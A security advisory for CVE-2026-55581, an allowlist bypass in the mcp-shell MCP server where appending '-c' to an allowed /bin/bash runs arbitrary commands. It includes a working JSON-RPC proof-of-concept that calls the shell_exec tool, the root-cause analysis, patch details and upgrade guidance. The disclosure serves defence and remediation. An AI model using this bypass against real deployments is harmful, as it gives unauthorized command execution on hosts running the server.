CVE-2026-55581: mcp-shell Secure Mode Allowlist Bypass via /bin/bash -c
The default Docker configuration for mcp-shell lists /bin/bash as an allowed executable, and the validator only checks the first token of a command, so any caller can append '-c <cmd>' to run…

The problem
mcp-shell ships a default security.yaml that includes /bin/bash in allowed_executables. The command validator in security.go extracts only parts[0] (the executable name) and checks it against the allowlist, completely ignoring the rest of the argument list.
Because -c is not a shell metacharacter and blocked_commands defaults to an empty array, passing /bin/bash -c id sails through all checks. The executor then calls exec.CommandContext(ctx, "/bin/bash", "-c", "id"), giving an attacker arbitrary OS command execution inside the container as mcpuser (UID 1000).
No authentication, no configuration change, and no elevated privilege are required.
Proof of concept
A working proof-of-concept for CVE-2026-55581 in github.com/sonirico/mcp-shell, with the exact payload below.
printf '%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i sonirico/mcp-shell:latest
# Expected response (truncated):
# {"status":"success","exit_code":0,"stdout":"uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser)"}The root cause is a first-token-only allowlist check (CWE-184, permissive list). security.go sets executable = parts[0], matches /bin/bash in the allowlist, and returns nil without ever inspecting the remaining arguments. The -c flag is not treated as a metacharacter by checkBlockedPatternsAndCommands, so no blocking occurs.
The patch (commit f31377f, v0.6.0) adds an isShellCommandMode function that inspects parts[1:] after the allowlist match. If the executable basename is a known shell (bash, sh, dash, ash, zsh, ksh) and any argument equals -c, the validator returns an error before execution.
The default security.yaml was also updated to remove /bin/bash from allowed_executables entirely, and v0.6.0 logs a startup warning whenever a shell interpreter is found in the allowlist (CWE-1188, insecure default).
The fix
Upgrade to mcp-shell v0.6.0. If you are running a custom security.yaml, remove all shell interpreters (bash, sh, dash, zsh, ksh, etc.) from allowed_executables. If a shell interpreter must be listed, v0.6.0's argument-level check will block -c usage, but the safer posture is to keep interpreters off the list entirely.
Related research
- high · 8.4CVE-2026-55582CVE-2026-55582: mcp-shell Secure Mode Allowlist Bypass via Git Shell Alias
- highCVE-2026-55580CVE-2026-55580: mcp-shell OS Command Injection via Security-Disabled Default and Shell Interpreter in Allowlist
- high · 7.8uniget CLI: Inverted Signature-Guard Condition Allows Unsigned Metadata RCE
- high · 8CVE-2026-71312CVE-2026-71312: rclone SFTP PowerShell Smart-Quote Filename OS Command Injection